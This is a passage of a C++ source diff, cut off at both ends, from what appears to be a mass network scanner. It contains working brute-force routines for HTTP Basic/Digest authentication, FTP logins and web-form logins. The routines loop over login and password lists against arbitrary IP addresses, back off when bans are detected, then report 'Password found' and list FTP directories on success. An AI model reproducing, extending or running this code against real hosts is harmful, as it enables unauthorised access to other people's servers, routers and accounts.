Repeating..."); + --j; + continue; + } + else + { + ++passCounter; + }; + + if(strcmp(method, "[DIGEST]") == 0) + { + ZeroMemory(localBuff, sizeof(localBuff)); + strcpy(localBuff, recvBuff); + }; + + if(strstri(recvBuff, "http/1.1 401") == NULL + || strstri(recvBuff, "http/1.0 401") == NULL + ) + { + ///dummy/// + } + else if(strstri(recvBuff, "503 service unavailable") != NULL + || strstri(recvBuff, "http/1.1 503") != NULL + || strstri(recvBuff, "http/1.0 503") != NULL + || strstr(recvBuff, "400 BAD_REQUEST") != NULL + || strstri(recvBuff, "400 bad request") != NULL + || strstr(recvBuff, "403 Forbidden") != NULL + ) + { + stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); + + if(j > 0) --j; + Sleep(30000); + } + else if((strstri(recvBuff, "http/1.1 404") != NULL + || strstri(recvBuff, "http/1.0 404") != NULL + ) + && strstri(recvBuff, "Authorization required") == NULL + ) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); + + stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); + + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if( (strstri(recvBuff, "200 ok") != NULL + || strstri(recvBuff, "http/1.0 200") != NULL + ) + && strstri(recvBuff, "http/1.1 401 ") == NULL + && strstri(recvBuff, "http/1.0 401 ") == NULL + && strstr(headerMsg, "401") == NULL + && strstr(headerMsg, "Unauthorized") == NULL + && dataSz > 13 + ) + { + if(strstri(recvBuff, "access is denied") == NULL + && strstri(recvBuff, "iisstart") == NULL + && strstri(recvBuff, "Location:") == NULL + && strstri(recvBuff, "access forbidden") == NULL + ) + { + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + isActive = 0; + stt->doEmition_BAGreenData("[+] " + QString(pass)); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + } + else + { + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Password found: "); + strcat(pass, tPass); + isActive = 0; + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) + { + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); + + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + }; + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; + if(strstr(recvBuff, "Set-Cookie:") != NULL) + { + ZeroMemory(cookie, COOKIE_MAX_SIZE); + strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); + cookieLen = strlen(cookie); + }; + }; + }; +#pragma endregion + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +} +lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BConInc(); + lopaStr res = _BABrute(cookie, ip, port, path, method); + BConDec(); + + return res; +}; + +lopaStr _FTPBrute(char *ip, int port, PathStr *ps) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char recvBuff[1024] = {0}, request[64] = {0}; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + strcpy(lps.login, "UNKNOWN"); + return lps; + }; +#endif + + bool breakPassLoop = 0; + int passCounter = 1; + int bTO; + int x = 0; + int connectionResult, closedSocket = 1, loginFailedFlag = 0; + + SOCKET sockFTP; + for(int i = 0; i < MaxLogin; ++i) + { + if(globalScanFlag == false) break; + if(strlen(loginLst[i]) <= 1) continue; + + for(int j = 0; j < MaxPass; ++j) + { + if(globalScanFlag == false) break; + if(strlen(passLst[j]) <= 1) continue; + + if(closedSocket) + { + closedSocket = 0; + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + while(WSAGetLastError() == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); + CSSOCKET(sockFTP); + sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + }; + loginFailedFlag = 0; + }; + + isActive = 1; + + if(connectionResult != SOCKET_ERROR) + { + x = 0; + while (true) + { + Sleep(100); + ZeroMemory(recvBuff, 1024); + x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); + if(x <= 0) break; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + Activity += x; + closedSocket = 0; + if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) + { + CSSOCKET(sockFTP); + isActive = 0; + stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); + strcpy(lps.other, "Unknown protocol (451 Error)"); + return lps; + }; + + if(strstri(recvBuff, "only anonymous") != NULL) + { + CSSOCKET(sockFTP); + isActive = 0; + stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); + + strcpy(lps.login, "anonymous"); + strcpy(lps.pass, "1"); + return lps; + }; + + if(strstr(recvBuff, "550 no connections allowed") != NULL + || strstr(recvBuff, "550-") != NULL + ) + { + CSSOCKET(sockFTP); + + isActive = 0; + +#pragma region QTGUI_Area + stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); +#pragma endregion + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(strstr(recvBuff, "no such command")) + { + CSSOCKET(sockFTP); + + isActive = 0; + stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); + strcpy(lps.other, "[500 Sorry, no such command]"); + return lps; + }; + + if((strstr(recvBuff, "500 ") != NULL + || strstr(recvBuff, "500-") != NULL + ) + && strstri(recvBuff, "500 oops") == NULL + ) + { + j = 0; + break; + }; + + if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) + { + break; + }; + + if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) + { + ++i; + break; + }; + + if(globalScanFlag == false) break; + + if((strstr(recvBuff, "530 Sorry") != NULL) + || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) + || strstr(recvBuff, "exceeded") != NULL + || strstr(recvBuff, "421 Too many") != NULL + || strstr(recvBuff, "from this IP") != NULL + || strstr(recvBuff, "from your IP") != NULL) + { + stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); + if(j > 0) --j; + ZeroMemory(recvBuff, sizeof(recvBuff)); + Sleep(30000); + break; + } + else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) + { + strcpy(request, "USER "); + if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); + else + { + loginFailedFlag = 1; + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + + ZeroMemory(request, sizeof(request)); + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else if(strstr(recvBuff, "530") != NULL + || strstr(recvBuff, "Login incorrect") != NULL + || strstri(recvBuff, "500 oops") != NULL + ) + { + loginFailedFlag = 1; + break; + } + else if(strstr(recvBuff, "331") != NULL) + { + if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL + || strstr(recvBuff, "Rejected--secure connection required") != NULL + ) + { + stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); + CSSOCKET(sockFTP); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else if(strstri(recvBuff, "permission denied") == NULL) + { + strcpy(request, "PASS "); + if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); + else + { + loginFailedFlag = 1; + break; + }; + strcat(request, "\r\n"); + if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + + Activity += strlen(request); + ZeroMemory(request, sizeof(request)); + + if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + }; + } + else + { + breakPassLoop = 1; + stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); + break; + }; + } + else if(strstr(recvBuff, "230") != NULL) + { + char pass[128] = {0}; + + strcpy(pass, ip); + strcat(pass, " - FTP Password found: "); + strcat(pass, loginLst[i]); + strcat(pass, ":"); + strcat(pass, passLst[j]); + + char recvBuff2[2048] = {0}; + if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) + { + int x = 1, xx = 0; + while(x != 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); + xx += x; + if(xx < 1536) strncat(recvBuff2, recvBuff, x); + else break; + }; + + if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) + { + stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); + CSSOCKET(sockFTP); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + strcpy(lps.other, "ROUTER"); + isActive = 0; + return lps; + }; + +#pragma region Get pasv Port + char *ptr0 = strstr(recvBuff2, "227 "); + + if( ptr0 != NULL ) + { + if(strstr(ptr0, "(") != NULL) + { + char pasvData[32] = {0}; + char *ptr1 = strstr(ptr0, "("); + char *ptr2 = strstr(ptr0, ")"); + int sz = ptr2 - ptr1 - 1; + strncpy(pasvData, ptr1 + 1, sz); + char *ptr3 = strstr(pasvData, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + ptr3 = strstr(ptr3 + 1, ","); + + if(ptr3 != NULL) + { + char *ptrP2 = strstr(ptr3 + 1, ","); + char p1c[8] = {0}; + sz = ptrP2 - ptr3 - 1; + strncpy(p1c, ptr3 + 1, sz); + int p1 = atoi(p1c); + int p2 = atoi(ptrP2 + 1); + port = p1 * 256 + p2; + + sockAddr.sin_port = htons(port); + SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + send(sockFTP, "LIST\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + send(sockFTP, "MLSD\r\n", 6, 0); + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); + if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) + { + stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); + + CSSOCKET(sockFTP); + CSSOCKET(newSockFTP); + closedSocket = 1; + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + } + else { + stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); + ps->directoryCount = _countFTPDirectories(recvBuff); + }; + } + else + { + stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); + ps->directoryCount = _countFTPDirectories(recvBuff); + }; + + CSSOCKET(newSockFTP); + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; + } + else + { + stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); + }; +#pragma endregion + + if(xx > 1) + { + strcpy(ps->headr, "
 (");
+								strncat(ps->headr, recvBuff, 256);
+								strcat(ps->headr, ")
"); + }; + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + CSSOCKET(sockFTP); + isActive = 0; + return lps; + } + else + { + stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); + + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + + CSSOCKET(sockFTP); + isActive = 0; + return lps; + }; + }; + }; + + CSSOCKET(sockFTP); + closedSocket = 1; + ZeroMemory(recvBuff, sizeof(recvBuff)); + } + else + { + char err[128] = {0}; + + int WSAerr; + if(connectionResult == -1) WSAerr = WSAGetLastError(); + else WSAerr = 10060; + + if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + { + stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); + }; + CSSOCKET(sockFTP); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + Sleep(100); + + if(breakPassLoop) + { + breakPassLoop = false; + break; + }; + }; + }; + + CSSOCKET(sockFTP); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + BConInc(); + lps = _FTPBrute(ip, port, ps); + BConDec(); + + return lps; +}; + +int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + SSL *ssl = NULL; + int bytes = 0; + char *recvBuff2 = 0; + int resCode = 0; + + const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ + SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ + if(ctx != NULL) + { + SOCKET sock; + SSL_CTX_set_timeout(ctx, gTimeOut); + resCode = OpenConnection(&sock, iph, porth); + if(resCode >= 0) + { + ssl = SSL_new(ctx); /* create new SSL connection state */ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, requesth, strlen(requesth)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); + + int x = 256; + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_SIZE]; + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + + while (x > 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + if(x <= 0) break; + + bytes += x; + Activity += x; + + if( bytes > RECV_MAX_SIZE ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + } + else break; + }; + if(globalScanFlag == true) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + strcat(recvBuff2, recvBuff); + } + else + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + CSTR->lowerBuff = new char[12]; + strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); + + CSTR->size = 11; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + }; + }; + }; + + if(bytes < 0) + { + stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); + }; + + SSL_free(ssl); + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + + if(bytes == 0 || recvBuff2 == NULL) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return -1; + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); + CSTR->lowerBuff = new char[bytes + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + + strncpy(CSTR->lowerBuff, recvBuff2, bytes); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSTR->size = bytes; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + }; + } + else + { + char buff1[512] = {0}; + char buff2[512] = {0}; + + ERR_error_string(ERR_peek_error(), buff1); + ERR_error_string(ERR_peek_last_error(), buff2); + stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); + return -1; + } +}; +int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + return _sslConnectTo(iph, porth, requesth, CSTR); +}; +void __deleteExcessiveNullBytes(char *buff, int sz) +{ + int j = 0; + for(int i = 0; i < sz - 1; ++i) + { + if(buff[i] != 0) buff[j++] = buff[i]; + }; +}; +struct linger linger = { 0 }; +int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) +{ + CSTR->lowerBuff = NULL; + if(strlen(ip) == 0) + { + return -1; + }; + if(port < 0 || port > 65535) + { + return -1; + }; + + char *recvBuff2 = NULL; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); +#endif + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + ++offlines; + if(host == NULL) return -2; + else return -1; + }; + + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + while(sock == INVALID_SOCKET) + { + stt->doEmitionRedFoundData("[Cannot create socket]"); + + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + }; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + u_long FAR cmd = 1; + if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) +#else + if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) +#endif + { + stt->doEmitionRedFoundData("[FIONBIO failed]"); + }; + + int recvBuffSize = 0; + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + + int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + while(sock == INVALID_SOCKET) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + }; + + if(iResult == SOCKET_ERROR) + { + iError = WSAGetLastError(); + + if(iError == 10035) + { + fd_set read_fs; + FD_ZERO(&read_fs); + FD_SET(sock, &read_fs); + timeval tv = { gTimeOut, 0 }; + + int oldErr = WSAGetLastError(); + iResult = select(sock + 1, NULL, &read_fs, NULL, &tv); + + if (iResult == SOCKET_ERROR) + { + ++offlines; + + stt->doEmitionRedFoundData("[Omitting IP] Select error-" + + QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + + " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); + } + else + { + if (!iResult) ++offlines; + else + { + int sResult = send(sock, request, strlen(request), 0); + + while(sResult == SOCKET_ERROR) + { + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(sResult == SOCKET_ERROR) continue; + sResult = send(sock, request, strlen(request), 0); + }; + + if(sResult != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_SIZE]; + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + + int bTO; + int x = 256; + while (x > 0) + { + ZeroMemory(recvBuff, 8192); + x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); + if(x <= 0) break; + Activity += x; + recvBuffSize += x; + if( recvBuffSize > RECV_MAX_SIZE ) + { + CSSOCKET(sock); + ++Overl; + + CSTR->lowerBuff = new char[recvBuffSize]; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + CSTR->size = recvBuffSize; + CSTR->overflow = true; + delete[] recvBuff2; + recvBuff2 = NULL; + return 0; + }; + strncat(recvBuff2, recvBuff, x); + }; + + if(strstri(recvBuff2, "no request found") != NULL) + { + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + send(sock, request, strlen(request), 0); + x = 1; + while (x > 0) + { + ZeroMemory(recvBuff, 8192); + x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); + if(x <= 0) break; + Activity += x; + recvBuffSize += x; + if( recvBuffSize > RECV_MAX_SIZE ) + { + CSSOCKET(sock); + ++Overl; + + CSTR->lowerBuff = new char[recvBuffSize]; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + CSTR->size = recvBuffSize; + CSTR->overflow = true; + delete[] recvBuff2; + recvBuff2 = NULL; + return 0; + }; + strncat(recvBuff2, recvBuff, x); + }; + }; + } + else + { + ++offlines; + stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); + }; + }; + }; + } + else + { + ++offlines; + if(iError == 10055) + { + stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); + } + else if(iError == 10049) + { + stt->doEmitionRedFoundData("[10049] " + QString(ip) + + ":" + QString::number(port) + + " - " + QString::number(iError)); + } + else + { + stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + + ":" + QString::number(port) + + " - " + QString::number(iError)); + }; + }; + } + else + { + stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + + QString::number(WSAGetLastError()) + + " - " + QString(ip) + ":" + QString::number(port)); + }; + + CSSOCKET(sock); + + if( globalScanFlag == false && force == 0) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; + + if(recvBuff2 != NULL && recvBuffSize > 0) + { + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + CSTR->lowerBuff = new char[recvBuffSize + 1]; + ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); + CSTR->size = recvBuffSize; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); + + delete []recvBuff2; + recvBuff2 = NULL; + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); + return 0; + } + else + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; +}; + +#pragma region WF +lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + + char b[16] = {0}; + char request[2048] = {0}; + char argData[256] = {0}; + char recvBuffer[65536] = {0}; + + Connector con; + conSTR CSTR; + int cRes; + int firstCycle = 0; + if(strstri(methodVal, "get") != NULL) + { + int passCounter = 1; + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(request, "GET "); + strcat(request, actionVal); + strcat(request, "?"); + strcat(request, userVal); + strcat(request, "="); + strcat(request, wfLoginLst[i]); + strcat(request, "&"); + strcat(request, passVal); + strcat(request, "="); + strcat(request, wfPassLst[j]); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); + strcat(request, "\r\n\r\n"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "501 not implemented") == NULL + && 